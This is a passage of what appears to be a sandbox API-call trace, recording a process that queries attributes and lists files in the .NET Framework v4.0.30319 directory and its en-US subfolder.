	[0087.904] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_state_perf.h"), fInfoLevelId=0x0, lpFileInformation=0x124f2468 | out: lpFileInformation=0x124f2468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58806000, ftCreationTime.dwHighDateTime=0x1cd5cfa, ftLastAccessTime.dwLowDateTime=0xca452180, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x58806000, ftLastWriteTime.dwHighDateTime=0x1cd5cfa, nFileSizeHigh=0x0, nFileSizeLow=0x13e)) returned 1
	[0087.904] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_state_perf.ini"), fInfoLevelId=0x0, lpFileInformation=0x124f24b8 | out: lpFileInformation=0x124f24b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c87100, ftCreationTime.dwHighDateTime=0x1cd5d18, ftLastAccessTime.dwLowDateTime=0xca4782e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x18c87100, ftLastWriteTime.dwHighDateTime=0x1cd5d18, nFileSizeHigh=0x0, nFileSizeLow=0xa7f4)) returned 1
	[0087.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_wp.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_wp.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2508 | out: lpFileInformation=0x124f2508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x571e7160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6a8)) returned 1
	[0087.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\caspol.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2558 | out: lpFileInformation=0x124f2558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8aaaac60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1
	[0087.905] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f25a8 | out: lpFileInformation=0x124f25a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x580edc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6a5490)) returned 1
	[0087.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrcompression.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f25f8 | out: lpFileInformation=0x124f25f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x587ebce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1deb8)) returned 1
	[0087.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clretwrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clretwrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2648 | out: lpFileInformation=0x124f2648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ba3f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x39aa0)) returned 1
	[0087.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2698 | out: lpFileInformation=0x124f2698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ec3c20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7c898)) returned 1
	[0087.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\corperfmonsymbols.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\corperfmonsymbols.ini"), fInfoLevelId=0x0, lpFileInformation=0x124f26e8 | out: lpFileInformation=0x124f26e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a2aa00, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x58f82300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x21a2aa00, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0x172576)) returned 1
	[0087.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2738 | out: lpFileInformation=0x124f2738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ff4720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa90)) returned 1
	[0087.907] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2788 | out: lpFileInformation=0x124f2788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80ed00, ftCreationTime.dwHighDateTime=0x1cac611, ftLastAccessTime.dwLowDateTime=0x8aaf6f20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc80ed00, ftLastWriteTime.dwHighDateTime=0x1cac611, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1
	[0087.908] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.rsp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.rsp"), fInfoLevelId=0x0, lpFileInformation=0x124f27d8 | out: lpFileInformation=0x124f27d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x531)) returned 1
	[0087.908] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\cvtres.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2828 | out: lpFileInformation=0x124f2828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x682bbe00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x590b2e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x682bbe00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xa8b0)) returned 1
	[0087.908] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\cvtres.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2878 | out: lpFileInformation=0x124f2878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ab1d080, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0087.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\default.win32manifest" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\default.win32manifest"), fInfoLevelId=0x0, lpFileInformation=0x124f28c8 | out: lpFileInformation=0x124f28c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae73200, ftCreationTime.dwHighDateTime=0x1cac5ce, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xdae73200, ftLastWriteTime.dwHighDateTime=0x1cac5ce, nFileSizeHigh=0x0, nFileSizeLow=0x1ea)) returned 1
	[0087.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfdll.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dfdll.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2918 | out: lpFileInformation=0x124f2918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5914b380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x25898)) returned 1
	[0087.909] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dfsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2968 | out: lpFileInformation=0x124f2968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x591714e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5c98)) returned 1
	[0087.910] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dfsvc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f29b8 | out: lpFileInformation=0x124f29b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f6e100, ftCreationTime.dwHighDateTime=0x1ca2998, ftLastAccessTime.dwLowDateTime=0x8ab431e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xa8f6e100, ftLastWriteTime.dwHighDateTime=0x1ca2998, nFileSizeHigh=0x0, nFileSizeLow=0xa7)) returned 1
	[0087.910] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2a08 | out: lpFileInformation=0x124f2a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x59197640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd3eb0)) returned 1
	[0087.910] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dv_aspnetmmc.chm" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dv_aspnetmmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x124f2a58 | out: lpFileInformation=0x124f2a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0800, ftCreationTime.dwHighDateTime=0x1ca299a, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3dd0800, ftLastWriteTime.dwHighDateTime=0x1ca299a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1bb)) returned 1
	[0087.911] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124f2aa8 | out: lpFileInformation=0x124f2aa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.911] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.911] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cdfe480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x18358, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.dll.mui", cAlternateFileName="MICROS~1.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f64f920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelEvents.dll.mui", cAlternateFileName="SERVIC~1.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f675a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll.mui", cAlternateFileName="SERVIC~2.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x60bbbf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb910, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelPerformanceCounters.dll.mui", cAlternateFileName="SERVIC~3.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61247ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelRegUI.dll.mui", cAlternateFileName="SERVIC~4.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="WorkflowServiceHostPerformanceCounters.dll.mui", cAlternateFileName="WORKFL~1.MUI")) returned 1
	[0087.913] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.913] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.914] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\Microsoft.Windows.ApplicationServer.Applications.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\microsoft.windows.applicationserver.applications.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2cd8 | out: lpFileInformation=0x124f2cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cdfe480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x18358)) returned 1
	[0087.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelEvents.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\servicemodelevents.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2d28 | out: lpFileInformation=0x124f2d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f64f920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaad8)) returned 1
	[0087.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelInstallRC.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\servicemodelinstallrc.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2d78 | out: lpFileInformation=0x124f2d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f675a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8)) returned 1
	[0087.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2dc8 | out: lpFileInformation=0x124f2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x60bbbf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb910)) returned 1
	[0087.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelRegUI.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\servicemodelregui.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2e18 | out: lpFileInformation=0x124f2e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61247ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92d8)) returned 1
	[0087.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124f2e68 | out: lpFileInformation=0x124f2e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d30)) returned 1
	[0087.916] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\fusion.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f2eb8 | out: lpFileInformation=0x124f2eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x593ac980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x16a98)) returned 1
	[0087.916] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ilasm.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2f08 | out: lpFileInformation=0x124f2f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x593f8c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x45898)) returned 1
	[0087.917] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ilasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2f58 | out: lpFileInformation=0x124f2f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ed7e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0087.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\jsc.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f2fa8 | out: lpFileInformation=0x124f2fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5c478c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb490)) returned 1
